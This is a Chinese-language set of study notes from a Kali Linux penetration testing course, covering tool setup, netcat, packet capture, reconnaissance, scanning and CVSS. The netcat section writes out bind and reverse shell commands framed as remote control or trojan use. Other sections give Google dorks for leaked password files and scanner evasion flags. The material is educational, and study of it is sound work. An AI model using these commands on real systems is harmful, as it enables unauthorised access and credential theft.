1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > KALI LINUX渗透测试学习笔记

KALI LINUX渗透测试学习笔记

时间:2018-07-14 03:53:02

相关推荐

KALI LINUX渗透测试学习笔记

KALI LINUX渗透测试学习笔记

(苑房弘主讲)

第1章 课程介绍

任务1:Kali Linux渗透测试介绍.exe

安全问题的根源:

分层思想

只求功能实现

最大的威胁是人

渗透测试:

尝试挫败安全防御机制,发现系统安全弱点;

从攻击者的角度思考,测量安全防护的有效性;

证明安全问题的存在,而非破坏;

渗透测试标准:PTES

渗透测试的误区:扫描就是一切,忽略业务逻辑层的漏洞。

KALI,印度教中的一个重要的女神。湿婆神妃帕尔瓦蒂的化身,是印度教派中最为隐晦的一派。

KALI Linux介绍

基于Debian的Linux发行版本;前身是BackTrack,3月发布;用于渗透和安全审计;包含600+安全工具;FHS标准目录结构;定制内核;支持ARM和手机平台;开源免费;

kali linux策略:

root用户策略:只有root用户

网络服务策略:网络服务禁用

更新升级策略:每周都有更新,滚动更新

第2章 Kali安装

任务2.Kali Linux安装-硬盘安装、虚拟机安装.exe

把镜像刻录到u盘,推荐软件unetbootin。

DOCKER

一种容器技术,和虚拟化技术有相似的地方。

是一个应用所需要的运行环境的容器,性能很好,启动快。

每个容器独立,一台物理机上可以跑很多DOCKER。

kali官方网站提供DOCKER的镜像文件,好像最新的已经没有了。

任务3-1.Kali Linux 安装-持久加密USB安装、熟悉环境、熟悉BASH命令1.exe

在live模式之上,保存用户设置及信息,同时加密存储。

kali下也可以使用unetbootin制作live u盘,也可以使用dd命令

块拷贝在电子取证里非常重要,dd就是基于块形式的复制。

使用gparted删除u盘里的分区信息

使用dd命令:dd if=kali-linux-2.0-arm64-iso of=/dev/sdb bs=1M

可以使用watch命令查看dd的进度

watch -n 5 killall -USR1 dd

让dd定时汇报复制进度

先制作live形式的u盘,ios文件只占用大概3GB的空间。

把剩下空间可以利用起来。

LUKS:Linux Unified Key Setup是一种加密标准,囊括了很多种加密技术。

实现了linux平台下磁盘分区级的加密规范,和文件级的加密不同。

磁盘分区加密规范

不依赖于操作系统的磁盘级加密

windows下也可以使用LUKS

windows自己的硬盘加密:doxbox

后端:dm-crypt

前端:cryptsetup

微软有自己的bitlocker

dd命令复制完成以后,执行以下步骤:

使用LUKS加密分区;

打开加密分区;

格式化加密分区+卷标

挂载加密分区,并创建persistence.conf

为u盘创建额外分区;

fdisk,parted

print devices

select /dev/sdb

mkpart prinmary 3063 7063

quit

添加分区

cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3

YES

Enter passphrase:

Verify passphrase:

Command sucessful.

分局进行了加密,还没有格式化。

cryptsetup luksOpen /dev/sdb3 usb

输入密码

mkfs.ext4 /dev/mapper/usb

e2label /dev/mapper/usb persistence

卷标命名为persistence

将usb设备mount一下

mkdir -p /mnt/usb

mount /dev/mapper/usb /mnt/usb

echo “/ union” > /mnt/usb/persistence.conf

umount /dev/mapper/usb

cryptsetup luksClose /dev/mapper/usb

熟悉环境

gnome-tweak-tool #监视网络流量

apt-get install netspeed #鼠标放到状态栏:alt+右键,添加工具

第3章 工作环境优化

任务5:网络配置.exe

临时ip地址:

dhclient eth0 #自动获取地址

ifconfig eth0 192.168.1.10/24 #手动设置

route add default gw 192.168.1.1 #设置网关

netstat -nr #查看设置是否生效

echo nameserver 192.168.1.1 > /etc/resolv.conf #设置DNS

route add -net 192.168.2.0/24 gw 192.168.1.1 eth0 #添加静态路由

route -n #查看路由表

以上配置重启后会丢失,所以是临时ip地址配置。

编辑网卡配置文件可以固定配置

/etc/network/interfaces

iface eth0 inet static

address 192.168.1.1

netmask 255.255.255.0

gateway 192.168.1.254

dns-nameservers 8.8.8.8 202.102.224.68

up route add -net 172.16.5.0/24 gw 192.168.1.254 eth0

down route del -net 172.16.5.0/24

更新

apt-get update %% apt-get upgrade && apt-get dis-update

可以重复执行,确保所有更新已经执行。

安装适合自己的工具软件

•apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule

qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer freemind netspeed mtr filezilla filezilla-common chromium monodevelop mono-gmcs -y

gdebi 图形化安装deb软件包

amule 电驴

qbittorrent BT

geany 简便图形化程序开发环境,python,shell等都支持

stardict 翻译软件,能进行屏幕取词

meld 文件差异比较的工具

ttf-wqy-microhei 字体

kchmviewer 打开阅读chm文件

freemind 思维导图软件

netspeed 流量监控

mtr 路由追踪

filezilla 图形化的ftp客户端

chromium google的浏览器

mono 在linux下开发.net的环境

浏览器插件

•firefox浏览器插件

•flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent

Switcher、HackBar、Live http header、Firebug、Download YouTube Videos as MP4、

Flagfox、hashr

•/en-US/firefox/addon/xss-me/

•/en-US/firefox/addon/sql-inject-me/?src=ss

user agent switcher 修改浏览器agent,修改服务器检测浏览器类型。

任务6:安装Java.exe

现在的显卡GPU性能非常好,甚至超过了CPU,非常适合科学技术,适合做渗透测试中破解计算。

必须安装专用驱动,而不是默认通用驱动,才能发挥GPU的性能。

并发线程限制配置

DOS攻击工具等要求系统最大可打开文件数,才能发挥攻击工具的能力。

系统出于稳定性、效率性会默认限制系统资源使用情况,比如打开文件数、端口数、堆栈数等。

ulimite用于限制当前shell内进程的资源使用

查看默认值:ulimite -a

全局配置文件:/etc/security/limits

用途举例:

ulimit -s 100 #堆栈大小,减小堆栈数量可以在有限的物理内存情况下增加连接数量。

限制当前shell内存使用限制:limit -m 5000 -v 5000

可以添加到 .bashrc 文件内

电源优化

• 渗透测试系统耗电较大

• 延长电池寿命

• 无操作挂起、关闭显示器

• 降低显示器亮度

• 不使用时关闭无线网卡

• 开启硬盘省电选项

• hdparm -i /dev/sda if AdvancedPM=yes then hdparm -B 1 -S 12 /dev/sda #固态硬盘不需要

• 启动笔记本模式

任务7:翻墙代理.exe

翻墙:

http代理

socks代理

ssh隧道

VPN

Goagent #已经不可用

现在使用比较多: SS/SSR (已安装)

同时配合proxychains使用,某些命令需要抓包测试看是否生效。

第4章 实验环境

任务9:实验环境.exe

在某些国家对目标简单扫描都是违法的。

微软最新版软件

•/en-us/evalcenter/ 90天的试用

•Windows虚拟机,提供各种版本,类型的虚拟机,可能没有漏洞

•/en-us/microsoft-edge/tools/vms/

•安装自己的虚拟机

msf是针对英文版操作系统,安装虚拟机时尽量安装英文版的iso

•Xp

•Win7

模拟真实网络

•M0n0wall防火墙

•http://m0n0.ch/wall/downloads.php

攻击者和被攻击者在直连网络中不能真实反应实际情况。

中间加上防火墙、IDS等有安全防护措施的结构,反应真实网络环境。

背靠背防火墙

•Pfsense防火墙

•/

可以增加特殊功能模块,比如WAF、IDS、IPS等。

第5章 基本工具

任务10:基本工具-NETCAT.exe

NETCAT ——NC

•网络工具中的瑞士军刀——小⾝身材、⼤大智慧

•侦听模式 / 传输模式

•telnet / 获取banner信息

nc -nv 123.125.50.29 110

nc- nv 123.125.50.138 25

•传输文本信息

A:nc -l -p 4444

B:nc -nv 1.1.1.1 4444

netstat -pantu | grep 4444

可以聊天

•传输文件/目录

可以远程电子取证

A:nc -l -p 4444

B:ls -l | nc -nv 1.1.1.1 4444

A:nc -l -p 4444 > /root/ps.txt

B:ps -aux | nc -nv 1.1.1.1 4444 -q 1 执行完成后,自动断开

A:nc -l -p 4444 > /root/lsof.txt

B:lsof | nc -nv 1.1.1.1 4444 -q 1

传输文件

A:nc -lp 333 > 1.mp4

B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1

A:nc -q 1 -lp 333 < a.mp4

B:nc -nv 1.1.1.1 333 > a.mp4

接收端和发送端可以互换,都能实现文件传输,也就是说侦听端可以接收也可以发送。

-q 参数在发送端设置。

传输目录

A:tar -cvf - musci/ | nc -lp 4444 -q 1

B:nc -nv 1.1.1.1 4444 | tar -xvf -

同样也可以用上面的方法进行反向传输。

•加密传输文件

A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4

B:mcrypt --flush -Fbq -a rijndael-256 -m ec < 1.mp4 | nc -nv 1.1.1.1 333 -q 1

默认系统没有安装mcrypt,需要手动安装

•远程控制/木马

正向

A:nc -lp 333 -c bash

B:nc 1.1.1.1 333

反向

A: nc 1.1.1.1 333 -c bash

B: nc -lp 333

在B上执行命令是对A机上进行的操作。

Windows用户把bash改成cmd;

建立了连接以后可以获得客户端也可以获得服务端的shell。

哪个加bash,哪个被控制。

服务器加强安全可以禁止内到外的连接。

•加密所有流量

nc缺乏加密和身份验证的能力

ncat可以弥补nc一些缺陷,是nmap工具包中的命令。

A:ncat ncat -c bash --allow 192.168.20.1 -vnl 333 --ssl

B:ncat -nv 1.1.1.1 333 --ssl

ssl加密,根据来源地址进行限制。

#功能很强大,但是版本很多,不同系统/平台的nc参数功能不尽相同。

•流媒体服务器

A:cat 1.mp4 | nc -lp 333

B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

•端口扫描

nc -nvz 1.1.1.1 1-65535

z 仅做扫描,不会做后续的数据交互。默认使用tcp协议对tcp端口扫描

nc -vnzu 1.1.1.1 1-1024

u udp端口扫描

•远程克隆硬盘

用于电子取证,远程复制目标服务器硬盘、内存(完完全全)

A:nc -lp 333 | dd of=/dev/sdb (接收端)

B:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1 (发送端)

nc -h 查看帮助

man nc 查看帮助

base64 asdf@

ctrl+d

显示base64编码的结果

任务14:WIRESHARK-信息统计、实践.exe

抓包嗅探协议分析,安全专家必备的技能。

实际是后台有抓包引擎:

Libpcap9 – Linux

Winpcap10 – Windows

衡量抓包工具能力的主要看解码能力,分析各种各样的协议的能力。

解码能力:抓包以后对数据包进行解码、分析、还原。

开启混杂模式,可以设置首选项对窗口进行更改,对协议进行更改,对列进行修改。

筛选器有:抓包筛选器和显示筛选器

筛选器可以叠加,有复杂的语法实现更精确的功能。

常见数据包

ARP

ICMP

TCP

UDP

ICMP,IGMP属于第四层包

有包类型1,2, TCP是6 UDP是17

HTTP

expert info 给出的是数据包分析的结果,而不是包内信息。

Wireshark默认是以端口来识别应用层应用的,比如http使用8080端口时就识别不出上层内容。

这时候可以在数据包上右键,decode as http,告诉程序使用http协议分析数据包内容。

Wireshark–TCP流

数据流

http 在http包上面右键–追踪流

smtp

pop3

ssl

ssl 安全套接字

ssl刚开始的几个数据包要进行ssl公钥传输,加密密钥的传输。

客户端接收服务器的公钥,然后随机产生客户端后续回话加密用的密钥(对称密钥),通过服务器公钥进行加密传输给服务器。

Wireshark–信息统计功能

对话

端点

协议分级

分组长度

分析—专家信息

会给出提示,提示网络中可能存在的问题。

当抓到大量包以后通常先从统计下手,专家信息,分析网络问题的原因。

对nc,ncat的流量比较:会发现一个是不加密,一个加密。

企业抓包部署方案

Wireshark不足的地方是在当抓大流量分析大流量时,性能欠缺。

在企业环境里流量比较大,分析任务比较重的时候需要使用商业化的软件。

其实都是基于Wireshark和Sniffer开发的。

对抓下来的包进行数据库存储和索引。

sniffer

CACE Pilot更名为CASCADE Pilot

Riverbed公司在整合CACE公司业务后,推出了CASCADE系列产品

大公司里会对所有流量24小时进行抓包。

在核心设备上做镜像端口,把物理或虚拟口上上下行流量复制到另外一个端口。

可以做端口绑定以增加吞吐量。

现在有全流量自动进行分析统计,安全检测的商业产品。

nessus公司也有一个此类产品。

任务15:TCPDUMP-抓包.exe

NO-GUI的抓包分析工具

Linux、Unix系统默认安装

默认情况下只抓每个数据包抓68个字节。

tcpdump -h

-s 0不限制大小,有多大抓多大。

tcpdump -i eth0 -s 0 -w a.cap

tcpdump -i eth0 port 80 #抓包过滤

读取抓包文件

tcpdump -r a.cap

tcpdump -r -A a.cap

tcpdump -r -X a.cap

更详细信息

tcpdump也支持显示筛选器,通过操作系统功能。

•tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u

tcpdump本身也支持显示筛选

•tcpdump -n src host 145.254.160.237 -r http.cap

•tcpdump -n dst host 145.254.160.237 -r http.cap

•tcpdump -n port 53 -r http.cap

•tcpdump -nX port 80 -r http.cap

高级筛选功能

除了ip,port之外,数据包中其他字段也可以作为筛选项

可以针对tcp flag筛选 比如 ack psh位

tcpdump -A -n ‘tcp[13] = 24’ -r http.cap

tcp的13号字节,等于十进制24的包显示出来

过程文档记录工具

在渗透测试过程中,不是单兵作战,需要团队协同作战。

收集的信息非常繁多,所以需要记录过程文档。普通的方式不太安全,不太方便,不能共享。

短期临时小团队资源共享

Dradis (报告工具)

web方式,https://127.0.0.1:3004

默认不需要账户,输入密码即可登陆

支持很多种文件格式的导入。

Keepnote

在渗透测试团队里会有一个人专门的进行文档的收集和整理。

这些文档会成为在渗透测试完成以后报告的资料来源。

Truecrypt

加密工具,对过程文档进行加密保存。

生成一个文件,挂载成为磁盘,可以保存文件。完成后unmount掉。

支持隐藏加密卷

此软件已经停止维护更新,可能因为某安全事件,作者不想被牵连,FBI尝试破解以失败告终。以软件有安全漏洞为由停止更新。

VeraCrypt 替代软件

第6章 信息收集

任务16:被动信息收集:信息收集内容.exe

公开渠道可获得的信息,与目标系统不产生直接交互,尽量避免留下痕迹。

公开来源情报(OSINT)

信息收集内容:

IP地址段、域名信息、邮件地址、文档图片数据、公司地址、公司组织架构、联系电话/传真、人员姓名/职务、目标系统使用的技术架构、公开的商业信息。

信息用途:

用信息描述目标,发现具体目标、社会工程学攻击、物理方面缺口

信息收集–DNS

域名解析成ip地址

域名一般是

FQDN是

域名记录:A,C NAME,NS,MX,PTR(反向域名)

全球有13台根域服务器,同时有好多台镜像。

服务器之间进行的是迭代查询。

客户端到dns服务器之间是递归查询。

nslookup

nslookup

server 202.102.224.68 #指定dns服务器地址

set type=mx

多个记录前面有优先级数值。

set type=ns

PTR记录就是把ip解析成域名,就是知道ip获得对应的域名。

一个域名可以对应多个ip地址,用于实现轮询。

用不同的DNS服务器查询的时候查询的结果可能不一样,是因为使用了智能DNS。

type还有一个类型是text记录,spf记录,作用是反垃圾邮件。

将ip地址对应到一个域名。

邮件服务器中设置反垃圾邮件设置,开启反向域名解析。

查看邮件来源域名反向查询以后的ip地址是否为来源邮件ip地址。

nslookup -type=ns 156.112.100.2

nslookup -q=any 156.112.100.2

非授权记录是因为解析记录不是直接从dns中得来的,是从缓存得来的。

任务17:DNS信息收集-DIG.exe

与nslookup功能有相似的地方,有更强大的功能。

dig @8.8.8.8 mx

dig any

dig +noall +answer any

dig +noall +answer any | awk ‘{print $5}’

dig -x 220.181.14.157 #反向查询

bind版本信息:

dig +noall +answer txt chaos VERSION.BIND @

其他记录都是IN,从txt里查询chaos类

这个信息可以隐藏

DNS追踪:

dig +trace

所有域权威服务器不会解析其他域的记录,也就是说不能设置新浪ns作为上网dns

客户端上发生的dns查询都是递归查询。

国内发生过com域劫持事件

dig 追踪是发起迭代查询。

先从本地dns服务器上查询13个根域ns记录

然后一步一步往下查

a-g.root-

AAAA记录是ipv6的A记录

任务18:DNS区域传输、DNS字典爆破、DNS注册信息.exe

对目标与服务器尝试区域传送

dig @ axfr

DNS服务器,指定域名,axfr=request for full zone transfer

区域传送使用TCP 53端口。

host -T -l 8.8.8.8

-T 使用TCP -l 进行全部区域传送

命令帮助

host -h host --help

man host info host

字典爆破DNS记录

fierce -dnsserver 8.8.8.8 -dns -wordlist a.txt

dnsdict6 -d4 -t 16 -x #推荐这个命令

-t指定线程数,-x指定使用什么级别的字典。(s m l x u) m是默认

dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 -o sina.xml

dnsmap -w dns.txt

dnsrecon -d --lifetime 10 -t brt -D dnsbig.txt

–lifetime 超时时间,-t brt爆破的意思

dnsrecon -t std -d

-t std 标准破解方式

dpkg -L fierce

列出fierce软件在安装后在系统中生成的文件,可以查看是否有自带的字典或其他文件。

DNS注册信息

whois

whois -h 192.168.43.10

whois

whois 202.106.0.2 #whois ip 告诉我们ip地址段,供应商,物理地址,注册的域名等信息。

afrinic

apnic

arin

iana

icann

lacnic

nro

ripe

internic

任务19:搜索引擎、SHODAN.exe

公司新闻动态、重要雇员信息、机密文档/网络拓扑、用户名密码、系统软硬件技术架构

各大搜索引擎都有爬虫机器人,在互联网上不断的爬行,收集信息。

GHDB 需要掌握必须的一项技能

shodan 爬虫只爬互联网上的设备。

banner: http ftp ssh telnet

www.shodan.io HDMOORE参与了早期项目

常见filter

net

net:61.163.210.0/24 country:cn #组合搜索

city

country

country:cn citybeijing port:22 HTTP/1.1 200

port

os

country:cn citybeijing port:22 os:windows

hostname

hostname:baidu

server

200 ok cisco country:JP

user:admin pass:password

linux upnp avtech

可以查看帮助文档

物联网比互联网更加脆弱

mysql默认不允许外部地址连接数据库端口,只允许localhost

可根据登陆设备成功不成功提示的关键字进行搜索。

任务20:SHODAN.exe

不申请账号搜索有限制。

注册shodan以后会分配一个API key

可以通过编程开发的方式调用shodan API,recon-ng中有shodan api设置

https://www.shodan.io/exploer

常用用法,筛选命令使用方式,生成好的默认关键字。

add-ons 浏览器插件,专为浏览器设计。

shodan 插件

google 搜索引擎的使用方法

+充值-支付

搜索充值,不要支付关键字的页面。

-宝 去掉宝字

“支付 充值” #同时含有支付和充值的页面

北京的电子商务公司—北京 intitle:电子商务 intext:法人 intext:电话

阿里巴巴北京联系人—北京 site: inurl:contact

塞班司法案的PDF文档—SOX filetype:pdf

法国的支付相关页面—payment site:fr

实例:

inurl:”/level/15/exec/-/show”

intitle:”netbotz appliance” “OK”

inurl:/admin/login.php

inurl:qq.txt #网上会有人使用木马盗qq,会记录到一个地方。

filetype:xls “username | password”

搜索引擎可以在网站上爬取文件内容,有可能包含敏感信息。

inurl:ftpfiletype:xls site: “password”

inurl:Service.pwd

frontpag漏洞

intitle:”index of” cdkey.txt

任务21:google搜索:实例.exe

用户信息

邮件、主机

theharvester -d -l 300 -b google

命令行工具,会调用相关网络资源。

搜索引擎会有保护机制,不易并发大量连接。

文件

metagoofil -d -t pdf -l 200 -o text -f 1.html (需要安装,是python脚本。)

meltago 图形化、强大的信息收集工具,打开时需要翻墙才能验证登录。

任务22:其他途径.exe

社交网络

工商注册

新闻组/论坛

招聘网站

/

Internet Archive is a non-profit library of millions of free books, movies, software, music, websites, and more.

收集网站的历史版本

个人专属的密码字典

按个人信息生成其专属的密码字典

CUPP–common user password profiler

python cup.py -i

收集个人信息后根据信息生成专属的密码字典,然后进行猜解。

人工智能在研究生成密码的思维、习惯、方式、规律。

metadata元数据

照片可能会记录gps信息

照片还会记录其他信息

exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

exif 1.jpg

foca windows下的元数据查看工具

任务23:RECON-NG.exe

全特性的web侦察框架,基于python开发

超级重量级的工具,被称为全特性的基于web的侦察框架。

这个工具实现了完整的全功能的被动信息收集的可能。

命令格式与msf一致,使用方法:

模块

数据库

报告

可以把查询结果直接生成报告出来。

shoudan注册账号后会分配一个API,可以加入到recno-ng里使用。

keys list可以查看可用的keys,api方式和web方式搜索到的结果有一定差别。

在全局下使用show options

使用默认线程数,不然搜索引擎会封掉API

use-agent 更改为其他值,不让网站留下日志

使用示例

dns查询

google,baidu,bing,yahoo,brute force

解析ip地址(查询数据库)

联系人,生成报告,调用API进行搜索

search google

如果有google api可以使用api方式没有可以使用web方式

使用web方式跟打开页面搜索是一样的,只不过recon-ng可以多线程。

设置完毕后run

搜索完成后结果存到hosts表里

可以show hosts

也可以使用命令:

query select * from hosts

多个搜索引擎结果会合并到一个hosts表里

可以使用复杂的select语句

query select * from hosts where host like ‘%www%’

use brut

暴力猜解,要指定options里的字典文件。

search resolve

use recon/hosts-hosts/resolve

show options或info

set SOURCE query select * from hosts where host like ‘%%’

指定某些主机名解析成为ip地址,默认解析所有。

search report

use report/html

show options

第7章 主动信息收集

任务24:主动信息收集-发现1.exe

主动信息收集会与目标发起交互,为了避免留下痕迹,可以使用跳板。

使用代理或已经被控制的主机

做好被记录被封杀的准备

使用噪声迷惑目标,淹没真实的探测流量。

发现阶段

识别活着的主机,潜在被攻击的目标

输出一个ip列表

2层发现

arping

arping 1.1.1.1 -d

发现重复mac地址,可能存在arp欺骗。

arping -c 1 192.168.1.1 | grep “bytes from” | cut -d “ “ -f 5 | cut -d”(“ -f 2 | cut -d”)” -f 1

netdiscover

专用二层发现,可用于无线何交换网络环境,主动和被动探测。

主动:netdiscover -i eth0 -r 1.1.1.0/24

netdiscover -l iplist.txt

被动发现(把网卡设置为混杂模式,p=passive)

netdiscover -p

主动arp容易触发报警

scapy

作为python库进行调用,也可作为单独的工具使用,抓包、分析、创建、修改、注入网络流量。

ARP().display()

arp.pdst=”192.168.1.1”

ARP().display()

发送:sr1(arp)

answer.display()

python脚本二层发现

当渗透进入目标以后可以使用这个主机当跳板进行二层发现。

3层发现(ICMP)

优点:可路由,速度快,缺点:速度比二层慢,经常被边界防火墙过滤。

2,3层扫描发现结果可能存在漏报情况。

ping 1.1.1.1 -c 2

windows和linux的ping包是不太一样的,不同厂家使用icmp时可能有所不同。

ping -R 1.1.1.1 可以路由追踪,类似于traceroute

linux和大部分unix ttl 64

windows ttl 128

当使用traceroute命令时,每个路由器返回的是离发送端近的端口ip

当使用ping -R命令是,返回的是每个路由器离发送端远端ip地址。

也可以使用scapy

fping

fping 1.1.1.1 -c 1

支持地址段进行ping

fping -g 192.168.1.1-200 -c 10

hping

几乎能发送任意tcp/ip数据包,自定义数据包。

功能强大,但每次只能扫描一个目标。

发送大量数据包,可以进行压力测试。

nmap纯ping扫描比arping速度快,信息多。

nmap 1.1.1.1-254 -sn

nmap -iL ip.txt -sn

同时还会去dns找ptr记录。

任务27:主动信息收集-发现(四).exe

四层发现(发现是指发现主机)

优点:可路由且结果可靠,不太可能被防火墙过滤,甚至可以发现所有端口都被过滤的主机;

缺点:基于状态过滤的防火墙可能过滤扫描,全端口扫描速度慢。

TCP

未经请求的ACK–回复RST

SYN—回复SYN/ACK、RST

不管怎样,只要收到回复就能证明目标在线。

UDP

udp没有三次握手,直接发送,目标不在线,数据包一去不返。

如果icmp回复端口不可达,证明主机在线。

upd发现比较难,如果主机在线,端口也开放,数据包也是一去不返。

scapy也可以用于四层发现

任务28:主动信息收集-发现(五).exe

nmap 1.1.1.1-254 -PU53 -sn

-PU53 (UDP端口)

nmap 1.1.1.1-254 -PA80 -sn

-PA80 (ACK TCP扫描)

nmap -iL iplist.txt -PA 80 -sn

hping3 -udp 1.1.1.1 -c 1

hping3 1.1.11 -c 1 默认情况下hping3使用 tcp协议

端口扫描

UDP

nmap -sU 1.1.1.1 -p1-1000 (-p- 所有端口)

TCP

TCP有三次握手的过程,可以针对三次握手的变化状态进行扫描

僵尸扫描,极度隐藏,实施条件苛刻,需伪造源地址(现在大多数路由器会对源地址进行验证);而且系统比较老(新系统IPID是随机的,不是递增的);而且系统闲置,没有其他网络流量,这样可根据IPID号来判断目标端口是否开放。

任务31:服务扫描.exe

服务扫描:识别开放端口上运行的应用,识别目标操作系统,提高攻击效率。

通过:banner捕获,服务识别,操作系统识别,SNMP分析,防火墙识别。

适当识别防火墙。

banner获取

nc -nv 1.1.1.1 80

scapy不太适合做应用层的数据构造。

dmitry

DMitry(Deepmagic Information Gathering Tool)是一个一体化的信息收集工具。它可以用来收集以下信息:

端口扫描

whois主机IP和域名信息

从获取主机信息

子域名

域名中包含的邮件地址

尽管这些信息可以在Kali中通过多种工具获取,但是使用DMitry可以将收集的信息保存在一个文件中,方便查看。

namp也可以发现banner

nmap -sT 1.1.1.1 -p 22 --scripte=banner.nse

nmap 脚本路径/usr/share/nmap/script

amap 192.168.1.1-100 -q

amap 192.168.1.1-100 -qb

banner信息抓取能力有限,也不一定准确。

nmap有丰富的特征库来识别目标的服务和操作系统。

nmap 192.168.1.1 -p1-1000 -sV

任务32:操作系统识别.exe

操作系统识别:种类繁多,好产品采用多种技术组合

TTL

windows 128(65–128)

linux/unix 64(1-64)

某些unix 255

可以修改ttl值

CPE 编号

nmap -O 192.168.1.1

xprobe2 191.168.1.1

被动扫描

不向主机进行发包,对流量进行抓包。

可结合arp欺骗进行分析

p0f,开始对网络接口收到的数据包进行分析

snmp扫描

使用upd 161,162端口,被管理端使用161,客户端使用162。

DHCP基于udp之上的应用层协议,客户端使用67,服务端使用68。

在网络设备比较多的网络里,使用snmp监控设备状态。

SNMP是信息的金矿,经常被错误配置。

MIB库,需要在客户端导入厂家专有的MIB库,才能查到厂家专有信息。

默认情况下服务器配置snmp以后可供客户端来查询,平时不发送信息。

配置完陷阱以后就可以主动向外发送设备信息。

nmap是扫描不出来目标硬件架构的,snmp可以发现设备的硬件信息。

onesixtyone

onesixtyone -c dict.txt -i hosts -o log.txt -w 100

dpkg -L onesixtyone

查看onesixtyone自带词典

snmp使用明文发送信息。

snmpwalk

snmpwalk 192.168.1.1 -c public -v 2c (-v版本,1,2,2c,3)

会查得到好多mib库信息

snmpcheck -t 192.168.1.1

比snmpwalk可读性友好

snmp-user-enum

smtp-user-enum是一种通过SMTP服务(sendmail)在Solaris上枚举操作系统级用户帐户的工具。

任务33:SMB扫描.exe

smb=Server Message Block协议

微软开发的,应用比较广,历史上出现安全问题最多的协议,

实现复杂,默认开放,文件共享。

最早的1.0版本经典漏洞:空会话未身份认证访问。

后来linux也开始支持smb协议。

nmap -v -p 139,445 192.168.1.1-20

nmap 192.168.1.1-20 --script=smb-os-discovery.nse

nmap -v -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.1

扫描开放端口是否有漏洞,是否及时打了补丁。使用脚本,脚本后还可以加参数。

nmap -v -p 139,445 --script= smb-check-vulns --script-args=unsafe=1 192.168.1.1 -Pn

nmap中有很多可用脚本。

nbtscan -r 192.168.1.0/24

nbtscan扫描的好处是可以跨网段扫描,不使用arp。

enum4linux -a 192.168.1.110

在linux上枚举出windows系统,不支持网段扫描,单个扫描,但是结果比较详细。

任务34:SMTP扫描.exe

nc -nv 1.1.1.1 25

nmap -p 25

–script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY}

默认情况下邮件服务器不开启中继功能,早期smtp服务器可能会开放中继功能,就是所有人都可以用此邮件服务器给其他邮箱发送邮件。

黑客可以用此邮件服务器发送钓鱼邮件,垃圾邮件等。

防火墙扫描(识别)

通过扫描防火墙识别出防火墙的类型和过滤规则。

扫描行为尽量隐蔽。

内网通过防火墙nat转换的防火墙临时开放高于1024的端口仅用于网络访问。

通过检查回包,可能识别端口是否经过防火墙过滤。

设备多种多样,结果可能存在误差。

负载均衡扫描(识别)

在扫描探测时有必要识别出服务是否使用负载均衡。

广域网负载均衡

dns轮询,或智能DNS

HTTP-Loadbalancing

Nginx

Apache

lbd

lbd

WAF识别

主流waf基于规则的过滤没有办法100%把攻击性代码过滤掉,基于规则的过滤有一定的漏报,会有各种各样的办法绕过规则。

现在更流行基于机器学习 基于特征识别 基于词法语法的识别

wafw00f -l #列出能检测出来waf的类型

wafw00f

nmap --script=http-waf-detect.nse

NMAP 重点介绍

nmap -p 22 默认tcp,udp都会扫描

不指定端口的情况下会扫描目标1000个知名端口

-F 扫描比较少数量的端口

-r 扫描连续端口,不是随机扫描

–top-ports 10 只扫1000个端口排前10的端口

-sV 扫描端口对应服务

–version-intensity 0-9 数字越大越详细

–version-trace 扫描跟踪

–version-help=

脚本帮助信息

-T 0-5 数字越大越块,默认3,越块越容易引起目标注意。

防火墙,IDS欺骗

-f --mtu值

-D 迷惑目标

-S 欺骗源地址

–proxiex 指定代理

扫描前进行抓包测试,某些扫描参数不支持代理,会暴露真实IP。

第8章 漏洞扫描

任务35:漏洞扫描.exe

基于端口服务扫描结果版本信息(速度慢)

搜索已公开的漏洞数据库(数量大)

使用漏洞扫描器实现漏洞管理

kali下使用此命令:searchsploit

从exploit-db中查找

sandi,需要安装。apt-get install sandi

从信息的维度定义漏洞管理

信息收集

扫描发现网络IP、OS、服务、配置、漏洞

能力需求:定义扫描方式内容和目标

信息管理

格式化信息,进行筛选、分组、定义优先级

能力要求:资产分组、指定所有者、向所有者报告漏洞

信息输出

向不同层级的人群展示足够的信息

能力要求:生成报告,导出数据,与SIEM(安全信息与事件管理)集成

漏洞扫描类型

主动扫描

有身份验证

无身份验证

被动扫描

镜像端口抓包

其他来源输入

基于Agent的扫描(企业内部对漏洞管理,需要在目标上安装扫描器的agent,在目标系统里进行信息收集,某些平台、设备不允许安装agent,应用场景有局限)

支持平台有限

漏洞概念:

CVSS(Common Vulnerability Scoring System)

通用漏洞评分系统–工业标准

描述安全漏洞严重程度的统一评分方案

V3版本–.6.10

Basic Metric:基础的恒定不变的漏洞权重

Tmeporal Metric:依赖时间因素的漏洞权重

Enviromental Metric:利用漏洞的环境要求和实施难度的权重。

CVSS评分计算方法:

基本评价:

基本评价指的是该漏洞本身固有的一些特点及这些特点可能造成的影响的评价分值

基础评价 = 四舍五入(10攻击途径攻击复杂度认证((机密性机密性权重)+(完整性完整性权重)+(可用性*可用性权重)))

生命周期评价:

是针对最新类型漏洞(如:0day漏洞)设置的评分项,因此SQL注入漏洞不用考虑。

因此这里也列举出三个与时间紧密关联的要素如下:

生命周期评价 =四舍五入(基础评价可利用性 修复措施*未经确认)

环境评价

每个漏洞会造成的影响大小都与用户自身的实际环境密不可分,因此可选项中也包括了环境评价,这可以由用户自评。(用户扫描配置时填写)

环境评价 = 四舍五入<(生命周期评价 + [(10 -生命周期评价) *危害影响程度]) *目标分布范围>

评分与危险等级

CVSS

是安全内容自动化协议(SCAP)的一部分

通常CVSS与CVE一同由美国国家漏洞(NVD)发布并保持数据更新

分值范围:0–10

不同机构按CVSS分值定威胁中的高、中、低威胁级别

CVSS体现漏洞的风险,威胁级别标识漏洞风险对企业的影响程度

CVSS分值是工业标准,但威胁级别不是。

漏洞基本概念

